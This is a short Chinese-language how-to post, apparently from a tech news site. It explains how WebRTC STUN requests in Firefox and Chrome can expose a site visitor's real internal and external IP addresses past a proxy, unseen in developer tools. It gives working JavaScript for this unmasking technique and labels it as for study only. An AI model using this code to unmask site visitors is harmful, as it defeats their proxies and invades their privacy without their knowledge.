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2025-03-31 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
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这篇文章将为大家详细讲解有关如何绕过代理获取访客真实IP,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。
仅供用于参考学习使用
绕过代理获取访客真实IP
Firefox 跟 Chrome支持WebRTC可以向STUN服务器请求,返回内外网IP,不同于XMLHttpRequest请求,STUN请求开发者工具当中看不到网络请求的。
演示代码
//get the IP addresses associated with an accountfunction getIPs(callback){ var ip_dups = {}; //compatibility for firefox and chrome var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{RtpDataChannels: true}] }; //firefox already has a default stun server in about:config // media.peerconnection.default_iceservers = // [{"url": "stun:stun.services.mozilla.com"}] var servers = undefined; //add same stun server for chrome if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; //construct a new RTCPeerConnection var pc = new RTCPeerConnection(servers, mediaConstraints); //listen for candidate events pc.onicecandidate = function(ice){ //skip non-candidate events if(ice.candidate){ //match just the IP address var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/ var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; //remove duplicates if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } }; //create a bogus data channel pc.createDataChannel(""); //create an offer sdp pc.createOffer(function(result){ //trigger the stun server request pc.setLocalDescription(result, function(){}); }, function(){});}//Test: Print the IP addresses into the consolegetIPs(function(ip){console.log(ip);});关于"如何绕过代理获取访客真实IP"这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。
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